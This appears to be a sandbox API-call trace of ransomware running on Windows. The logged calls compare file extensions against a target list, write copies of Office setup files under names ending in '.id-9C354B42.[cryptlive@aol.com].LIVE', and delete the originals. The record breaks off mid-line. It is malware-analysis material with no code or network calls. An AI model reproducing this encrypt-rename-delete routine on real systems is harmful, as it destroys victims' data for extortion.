[0046.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0046.187] lstrlenW (lpString=".doc") returned 4 [0046.187] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0046.187] lstrlenW (lpString=".docx") returned 5 [0046.187] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0046.187] lstrlenW (lpString=".pdf") returned 4 [0046.187] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0046.187] lstrlenW (lpString=".xls") returned 4 [0046.188] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0046.188] lstrlenW (lpString=".xlsx") returned 5 [0046.188] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0046.188] lstrlenW (lpString=".ppt") returned 4 [0046.188] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0046.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0046.188] lstrlenW (lpString=".zip") returned 4 [0046.188] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0046.188] lstrlenW (lpString=".rar") returned 4 [0046.188] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0046.188] lstrlenW (lpString=".bz2") returned 4 [0046.188] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0046.188] lstrlenW (lpString=".7z") returned 3 [0046.188] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0046.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0046.188] lstrlenW (lpString=".dbf") returned 4 [0046.188] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0046.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0046.188] lstrlenW (lpString=".1cd") returned 4 [0046.188] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0046.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0046.188] lstrlenW (lpString=".jpg") returned 4 [0046.188] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0046.188] lstrcmpiW (lpString1=".XML", lpString2=".LIVE") returned 1 [0046.188] lstrlenW (lpString="SETUP.XML") returned 9 [0046.188] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0046.506] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1886) returned 1 [0046.506] CloseHandle (hObject=0x200) returned 1 [0046.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 0x20 [0046.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0046.506] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0046.506] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.506] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.506] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0046.507] GetLastError () returned 0x0 [0046.507] ReadFile (in: hFile=0x200, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x75e, lpOverlapped=0x0) returned 1 [0046.508] WriteFile (in: hFile=0x1b0, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x760, lpOverlapped=0x0) returned 1 [0046.509] ReadFile (in: hFile=0x200, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.509] WriteFile (in: hFile=0x1b0, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0046.509] SetEndOfFile (hFile=0x1b0) returned 1 [0046.509] CloseHandle (hObject=0x1b0) returned 1 [0046.510] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.510] SetEndOfFile (hFile=0x200) returned 1 [0046.511] CloseHandle (hObject=0x200) returned 1 [0046.511] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0046.511] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 1 [0046.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0046.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0046.511] lstrlenW (lpString=".doc") returned 4 [0046.511] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0046.511] lstrlenW (lpString=".docx") returned 5 [0046.511] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0046.511] lstrlenW (lpString=".pdf") returned 4 [0046.511] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0046.511] lstrlenW (lpString=".xls") returned 4 [0046.511] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0046.511] lstrlenW (lpString=".xlsx") returned 5 [0046.511] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0046.511] lstrlenW (lpString=".ppt") returned 4 [0046.512] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0046.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0046.512] lstrlenW (lpString=".zip") returned 4 [0046.512] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0046.512] lstrlenW (lpString=".rar") returned 4 [0046.512] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0046.512] lstrlenW (lpString=".bz2") returned 4 [0046.512] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0046.512] lstrlenW (lpString=".7z") returned 3 [0046.512] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0046.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0046.512] lstrlenW (lpString=".dbf") returned 4 [0046.512] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0046.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0046.512] lstrlenW (lpString=".1cd") returned 4 [0046.512] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0046.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0046.512] lstrlenW (lpString=".jpg") returned 4 [0046.512] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0046.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0046.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0046.512] lstrlenW (lpString=".doc") returned 4 [0046.512] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0046.512] lstrlenW (lpString=".docx") returned 5 [0046.512] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0046.512] lstrlenW (lpString=".pdf") returned 4 [0046.512] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0046.512] lstrlenW (lpString=".xls") returned 4 [0046.512] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0046.512] lstrlenW (lpString=".xlsx") returned 5 [0046.512] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0046.512] lstrlenW (lpString=".ppt") returned 4 [0046.512] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0046.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0046.512] lstrlenW (lpString=".zip") returned 4 [0046.512] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0046.513] lstrlenW (lpString=".rar") returned 4 [0046.513] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0046.513] lstrlenW (lpString=".bz2") returned 4 [0046.513] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0046.513] lstrlenW (lpString=".7z") returned 3 [0046.513] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0046.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0046.513] lstrlenW (lpString=".dbf") returned 4 [0046.513] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0046.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0046.513] lstrlenW (lpString=".1cd") returned 4 [0046.513] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0046.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0046.513] lstrlenW (lpString=".jpg") returned 4 [0046.513] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0046.513] lstrcmpiW (lpString1=".XML", lpString2=".LIVE") returned 1 [0046.513] lstrlenW (lpString="SETUP.XML") returned 9 [0046.513] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0047.121] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1608) returned 1 [0047.121] CloseHandle (hObject=0x1f8) returned 1 [0047.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 0x20 [0047.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0047.122] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0047.122] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.122] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.122] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0047.122] GetLastError () returned 0x0 [0047.122] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x648, lpOverlapped=0x0) returned 1 [0047.124] WriteFile (in: hFile=0x218, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x650, lpOverlapped=0x0) returned 1 [0047.125] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.125] WriteFile (in: hFile=0x218, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0047.125] SetEndOfFile (hFile=0x218) returned 1 [0047.125] CloseHandle (hObject=0x218) returned 1 [0047.126] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.126] SetEndOfFile (hFile=0x1f8) returned 1 [0047.126] CloseHandle (hObject=0x1f8) returned 1 [0047.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0047.127] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 1 [0047.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0047.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0047.127] lstrlenW (lpString=".doc") returned 4 [0047.127] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0047.127] lstrlenW (lpString=".docx") returned 5 [0047.127] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0047.127] lstrlenW (lpString=".pdf") returned 4 [0047.127] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0047.127] lstrlenW (lpString=".xls") returned 4 [0047.127] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0047.127] lstrlenW (lpString=".xlsx") returned 5 [0047.127] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0047.127] lstrlenW (lpString=".ppt") returned 4 [0047.127] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0047.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0047.127] lstrlenW (lpString=".zip") returned 4 [0047.127] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0047.127] lstrlenW (lpString=".rar") returned 4 [0047.127] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0047.127] lstrlenW (lpString=".bz2") returned 4 [0047.128] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0047.128] lstrlenW (lpString=".7z") returned 3 [0047.128] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0047.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0047.128] lstrlenW (lpString=".dbf") returned 4 [0047.128] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0047.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0047.128] lstrlenW (lpString=".1cd") returned 4 [0047.128] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0047.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0047.128] lstrlenW (lpString=".jpg") returned 4 [0047.128] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0047.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0047.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0047.128] lstrlenW (lpString=".doc") returned 4 [0047.128] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0047.128] lstrlenW (lpString=".docx") returned 5 [0047.128] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0047.128] lstrlenW (lpString=".pdf") returned 4 [0047.128] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0047.128] lstrlenW (lpString=".xls") returned 4 [0047.128] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0047.128] lstrlenW (lpString=".xlsx") returned 5 [0047.128] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0047.128] lstrlenW (lpString=".ppt") returned 4 [0047.128] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0047.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0047.128] lstrlenW (lpString=".zip") returned 4 [0047.128] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0047.128] lstrlenW (lpString=".rar") returned 4 [0047.128] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0047.128] lstrlenW (lpString=".bz2") returned 4 [0047.128] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0047.128] lstrlenW (lpString=".7z") returned 3 [0047.128] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0047.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0047.129] lstrlenW (lpString=".dbf") returned 4 [0047.129] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0047.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0047.129] lstrlenW (lpString=".1cd") returned 4 [0047.129] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0047.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0047.129] lstrlenW (lpString=".jpg") returned 4 [0047.129] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0047.129] lstrcmpiW (lpString1=".emf", lpString2=".LIVE") returned -1 [0047.129] lstrlenW (lpString="Genko_2.emf") returned 11 [0047.129] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0049.328] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=10340) returned 1 [0049.328] CloseHandle (hObject=0x188) returned 1 [0049.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf")) returned 0x20 [0049.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0049.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0049.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0049.328] lstrlenW (lpString=".doc") returned 4 [0049.328] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0049.328] lstrlenW (lpString=".docx") returned 5 [0049.328] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0049.328] lstrlenW (lpString=".pdf") returned 4 [0049.329] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0049.329] lstrlenW (lpString=".xls") returned 4 [0049.329] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0049.329] lstrlenW (lpString=".xlsx") returned 5 [0049.329] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0049.329] lstrlenW (lpString=".ppt") returned 4 [0049.329] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0049.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0049.329] lstrlenW (lpString=".zip") returned 4 [0049.329] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0049.329] lstrlenW (lpString=".rar") returned 4 [0049.329] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0049.329] lstrlenW (lpString=".bz2") returned 4 [0049.329] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0049.329] lstrlenW (lpString=".7z") returned 3 [0049.329] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0049.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0049.329] lstrlenW (lpString=".dbf") returned 4 [0049.329] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0049.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0049.329] lstrlenW (lpString=".1cd") returned 4 [0049.329] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0049.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0049.329] lstrlenW (lpString=".jpg") returned 4 [0049.329] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0049.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0049.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0049.329] lstrlenW (lpString=".doc") returned 4 [0049.329] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0049.330] lstrlenW (lpString=".docx") returned 5 [0049.330] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0049.330] lstrlenW (lpString=".pdf") returned 4 [0049.330] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0049.330] lstrlenW (lpString=".xls") returned 4 [0049.330] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0049.330] lstrlenW (lpString=".xlsx") returned 5 [0049.330] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0049.330] lstrlenW (lpString=".ppt") returned 4 [0049.330] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0049.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0049.330] lstrlenW (lpString=".zip") returned 4 [0049.330] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0049.330] lstrlenW (lpString=".rar") returned 4 [0049.330] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0049.330] lstrlenW (lpString=".bz2") returned 4 [0049.330] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0049.330] lstrlenW (lpString=".7z") returned 3 [0049.330] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0049.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0049.330] lstrlenW (lpString=".dbf") returned 4 [0049.330] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0049.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0049.330] lstrlenW (lpString=".1cd") returned 4 [0049.330] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0049.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0049.330] lstrlenW 